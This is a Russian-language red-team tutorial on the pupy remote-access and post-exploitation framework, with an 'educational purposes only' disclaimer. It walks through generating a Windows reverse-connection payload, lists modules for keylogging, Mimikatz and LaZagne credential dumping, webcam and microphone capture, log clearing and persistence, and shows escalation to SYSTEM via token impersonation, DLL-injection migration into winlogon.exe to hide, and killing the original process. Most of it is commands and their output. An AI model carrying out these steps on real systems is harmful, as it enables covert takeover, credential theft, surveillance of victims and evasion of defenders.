pupy - мощный RAT-фреймворк
Описание
Pupy - это кроссплатформенный RAT
(Remote administrative tool)
и пост-эксплуатационный фреймворк с открытым исходным кодом, написанный на Python
и C
. Он поддерживает множество различных функций постэксплуатации (кейлоггер, дамп паролей, захват экрана и т.п.) и способен создавать пэйлоады для различных платформ, таких как Linux
, Windows
, Android
и MacOS
.
Данная статья представлена исключительно в образовательных целях. Red Team сообщество "GISCYBERTEAM" не несёт ответственности за любые последствия ее использования третьими лицами.
Установка
Разработчик рекомендует устанавливать docker
-версию в ветке unstable
. Скачаем образ и запустим, прокинув несколько портов:
docker pull alxchk/pupy:unstable docker run -d -p 2022:22 -p 8080:8080 -p 8443:8443 -v /tmp/projects:/projects alxchk/pupy:unstable
Скопируем ssh
-ключ с хостовой машины в примонтированную папку контейнера и подключаемся:
cp ~/.ssh/id_rsa.pub /tmp/projects/keys/authorized_keys ssh -p 2022 [email protected]
После подключения должны увидеть такое окно:
Использование
Слушатель у нас по-умолчанию поднят на порту 8443
, можем сгенерировать первый клиент:
# gen -f <format> <launcher> -t <transport> - синтаксис команды >> gen -f client -O windows -A x64 connect --host 192.168.0.109:8443 -t ssl [%] Raw user arguments given for generation: ['--host', '192.168.0.109:8443', '-t', 'ssl'] [%] Launcher configuration: Host & port for connection back will be set to 192.168.0.109:8443 [%] Launcher configuration: Transport for connection back will be set to 'ssl' [+] Generate client: windows/x64 { Configuration } KEY VALUE ------------------------------------------------- launcher connect launcher_args --host 192.168.0.109:8443 -t ssl cid 2631519028 [+] Required credentials (found) + SSL_BIND_CERT + SSL_CA_CERT + SSL_CLIENT_CERT + SSL_BIND_KEY + SSL_CLIENT_KEY [+] OUTPUT_PATH: /projects/default/output/pupyx64.pAkr8_.exe [+] SCRIPTLETS: [] [+] DEBUG: False
В нашем примере указан адрес хостовой машины и порт, который мы прокинули при запуске контейнера. После запуска клиента на целевой машине, мы увидим следующее:
Теперь перейдем к модулям, которые можно посмотреть следующей командой:
>> help -M { COMMANDS } COMMAND DESCRIPTION ----------------------------------------------------------------------- dnscnc DNSCNC control jobs Manage Jobs help Show help exposed list exposed objects/methods python Start the local python interpreter (for debugging purposes) sessions list/interact with established sessions creds Credentials manager tag Assign tag to current session exit Exit Shell connect Connect to the bind payload run Run a module on one or multiple clients logging Show/set log level config Work with configuration file gen Generate payload restart Restart pupysh listen start/stop/show current listeners { MODULES } CATEGORY NAME HELP ------------------------------------------------------------------------------------------------------------------------------------------------------ admin shares List Local And Remote Shared Folder And Permission admin ls List System Files admin wmic Query Wmi Using Wql admin psh Load/Execute Powershell Scripts admin ssh Ssh Client admin rfs Mount Remote Fs As Fuse Fs To Mountpoint admin odbc Query Sql Using Odbc admin smb Copy Files Via Smb Protocol admin smbspider Walk Through A Smb Directory And Recursively Search A String Into Files admin shell_exec Execute Shell Commands On A Remote System admin logs Show Logs (Or Try To Search Something) admin alive Request To Send Keepalive Packets On Rpyc Level admin rdesktop Start A Remote Desktop Session Using A Browser Websocket Client admin cp Copy File Or Directory admin interactive_shell Open An Interactive Command Shell With A Nice Tty admin rwmic Remote Wmi Query Using Wql admin rm Remove A File Or A Directory admin reg Search/List/Get/Set/Delete Registry Keys/Values admin netstat List Terminal Sessions admin drives List Valid Drives In The System admin become Become User admin sshell Interactive Ssh Shell admin last List Terminal Sessions admin rdp Enable / Disable Rdp Connection Or Check For Valid Credentials On A Remote Host admin w List Terminal Sessions admin getdomain Get Primary Domain Controller admin cd Change Directory admin date Get Current Date admin pexec Execute Shell Commands Non-Interactively On A Remote System In Background Using Popen admin ps List Processes admin zip Zip / Unzip File Or Directory admin mkdir Create An Empty Directory admin psexec Launch Remote Commands Using Smbexec Or Wmiexec admin clear_logs Clear Event Logs admin dns Retrieve Domain Name From Ip And Vice Versa admin netmon Collect New Ip Endpoints admin pyexec Execute Python Code On A Remote System admin beroot Check For Privilege Escalation Path admin cat Show Contents Of A File admin pyshell Open An Interactive Python Shell On The Remote Client admin mv Move File Or Directory admin display Set Display Variable admin ad Dump Information From Active Directory admin ip List Interfaces admin sudo_alias Write An Alias For Sudo To Retrieve User Password admin igd Upnp Igd Client admin stat Show A Bit More Info About File Path. Acls/Caps/Owner For Now admin http Trivial Get/Post Requests Via Http Protocol admin x509 Fetch Certificate From Server admin getppid List Parent Process Information admin getpid List Process Information admin services List Services admin getuid Get Username admin pwd Get Current Working Dir creds loot_memory Crawl Processes Memory And Look For Cleartext Credentials creds creddump Download The Hives From A Remote Windows System And Dump Creds creds lazagne Retrieve Passwords Stored On The Target creds mimipy Run Mimipy To Retrieve Credentials From Memory creds memstrings Dump Printable Strings From Process Memory For Futher Analysis creds netcreds Manage Saved Authentication Information exploit mimishell Execute Mimikatz From Memory (Interactive) exploit mimikatz Execute Mimikatz From Memory (Non-Interactive) exploit exploit_suggester Exploit Suggester exploit shellcode_exec Executes The Supplied Shellcode On A Client exploit impersonate List/Impersonate Process Tokens exploit pipecatcher Collect Security Tokens From Pipe Server (\\.\Pipe\Catcher) gather webcamsnap Take A Webcam Snap :) gather keylogger A Keylogger To Monitor All Keyboards Interaction Including The Clipboard :-) gather hashmon Try To Find Clear Text Passwords In Memory gather get_info Get Some Informations About One Or Multiple Clients gather contacts To Get Contacts gather isearch Use Windows Search Index To Search For Data gather search Walk Through A Directory And Recursively Search A String Into Files gather check_vm Check If Running On Virtual Machine gather outlook Interact With Outlook Session Of The Targeted User gather record_mic Record Sound With The Microphone ! gather pywerview Rewriting Of Some Powerview'S Functionalities In Python gather apps To Interact Manage Applications gather call To Get Call Details gather gpstracker To Interact With Gps gather mouselogger Log Mouse Clicks And Take Screenshots Of Areas Around It gather powerview Execute Powerview Commands gather get_hwuuid Try To Get Uuid (Dmi) Or Machine-Id (Dbus/Linux) gather usniper Globally Capture String Or Register During Execution At Specified gather cloudinfo Retrieve Ec2/Digitalocean Metadata gather users Get Interactive Users gather screenshot Take A Screenshot :) gather ttyrec Globally Capture Intput/Output To Tty. Compatible With Kernels general echo Check Egress (Tcp/Udp) Using Remote Echo Server general mapped Create Virtual Mapped Path With Memfd Backed File (If Supported) general exit Exit The Client On The Other Side general process_kill Kill A Process manage edit Edit Remote File Locally (Download->Edit->Upload) manage upload Upload A File/Directory To A Remote System manage hide_process Edit Current Process Argv & Env Not To Look Suspicious manage download Download A File/Directory From A Remote System manage getprivs Manage Current Process Privileges manage tasks Get Info About Registered Background Tasks manage memory_exec Execute A Executable From Memory manage lock_screen Lock The Session manage duplicate Duplicate The Current Pupy Payload By Executing It From Memory manage load_package Load A Python Package Onto A Remote Client. Packages Files Must Be Placed In One Of The Pupy/Packages/<Os>/<Arch>/ Reposi manage migrate Migrate Pupy Into Another Process Using Reflective Dll Injection manage write Write Short String To File manage env List/Get/Set/Unset Client Environment Variables manage persistence Enable / Disable Persistence network port_scan Run A Tcp Port Scan network forward Local/Remote Port Forwarding And Socks Proxy network tcpdump Module To Reproduce Some Of The Classic Tcpdump Tool Functions privesc getsystem Try To Get Nt Authority System Privileges privesc bypassuac Be Carefull, Most Of Bypass Methods Are Detected By Av... privesc inveigh Execute Inveigh Commands privesc privesc_checker Linux Privilege Escalation Scripts troll text_to_speach Use Android Text To Speach To Say Something :) troll vibrate Activate The Phone/Tablet Vibrator :) troll msgbox Pop Up A Custom Message Box { ALIASES } ALIAS COMMAND ---------------------------- info get_info pyexec pyexec exec shell_exec ps ps migrate migrate shell interactive_shell kill process_kill mount drives du download -S
Перед использованием нам необходимо выбрать сессию, с которой мы будем взаимодействовать:
>> sessions id user hostname platform release os_arch proc_arch intgty_lvl address ------------------------------------------------------------------------------------------------- 1 VMCOBALT\user vmcobalt.. Windows 10 AMD64 64bit High 192.168.0.109 >> sessions -i 1 [+] Default filter set to 1
>> getprivs { Current priviliges } Privilege Enabled ---------------------------------------------------- SeAssignPrimaryTokenPrivilege True SeShutdownPrivilege True SeChangeNotifyPrivilege True SeUndockPrivilege True SeImpersonatePrivilege True SeIncreaseWorkingSetPrivilege True SeTimeZonePrivilege True SeDelegateSessionUserImpersonatePrivilege True
Мы можем повысить привилегии с помощью Impersonate
-токена:
>> run getsystem -m impersonate [%] The current pupy launcher is using a REVERSE connection (e.g. 'auto_proxy' or 'connect' launcher) [+] Impersonated, pid=6868. Migrating.. [+] looking for process 6868 architecture ... [+] process is 32 bits { Configuration } KEY VALUE ---------------------------------------------- launcher connect launcher_args -t ssl --host 192.168.0.109:8443 cid 2631519028 [+] Required credentials (found) + SSL_BIND_CERT + SSL_CA_CERT + SSL_CLIENT_CERT + SSL_BIND_KEY + SSL_CLIENT_KEY [+] Template: pupyx86.dll [+] injecting DLL in target process 6868 ... [+] DLL injected ! [*] Session 2 opened (WORKGROUP\VMCOBALT$) (192.168.0.109:52842)
Переключаемся на вторую сессию, где у нас есть привилегии системы:
>> sessions -i 2 [+] Default filter set to 2 >> run pexec whoami [+] Started at 2024-07-15 08:44:14.738843 nt authority\??????? [+] Completed at 2024-07-15 08:44:14.801988
Также мы можем мигрироваться в другой процесс, чтобы “скрыть” наше присутствие в списке процессов. Для начала посмотрим список активных процессов:
>> ps 0 {System Idle Process} 4 {System} 92 {Registry} 280 C:\Windows\System32\svchost.exe -k netsvcs -p 336 {smss.exe} 352 C:\Windows\System32\svchost.exe -k utcsvc -p 420 C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p 428 {csrss.exe} 500 {wininit.exe} 508 {csrss.exe} 572 C:\Windows\System32\winlogon.exe 640 {services.exe} 660 C:\Windows\System32\lsass.exe 676 C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p 772 C:\Windows\System32\svchost.exe -k DcomLaunch -p 796 C:\Windows\System32\fontdrvhost.exe 808 C:\Windows\System32\fontdrvhost.exe 888 C:\Windows\System32\svchost.exe -k RPCSS -p . . . 6396 C:\Users\user\Desktop\pupy.exe
Мигрируемся в процесс winlogon.exe
:
>> run migrate 572 [+] Migrating to existing windows process identified with the pid 572 [+] looking for process 572 architecture ... [+] process is 64 bits { Configuration } KEY VALUE ---------------------------------------------- launcher connect launcher_args -t ssl --host 192.168.0.109:8443 cid 2631519028 [+] Required credentials (found) + SSL_BIND_CERT + SSL_CA_CERT + SSL_CLIENT_CERT + SSL_BIND_KEY + SSL_CLIENT_KEY [+] Template: pupyx64.dll [+] injecting DLL in target process 572 ... [+] DLL injected ! [+] waiting for a connection from the DLL ... [*] Session 3 opened (WORKGROUP\VMCOBALT$) (192.168.0.109:58584) >> [+] got a connection from migrated DLL ! [+] migration completed [*] Session 2 closed
И убиваем процесс pupy.exe
следующим образом:
>> run process_kill 6396 [+] Killed: 6396 (sig=9) [*] Session 1 closed
Заключение
Сегодня мы рассмотрели небольшую часть функционала RAT
-фреймворка под названием pupy
. Надеемся, каждый из вас поэкспериментирует с различными модулями и найдет что-то полезное для себя в этом инструментарии.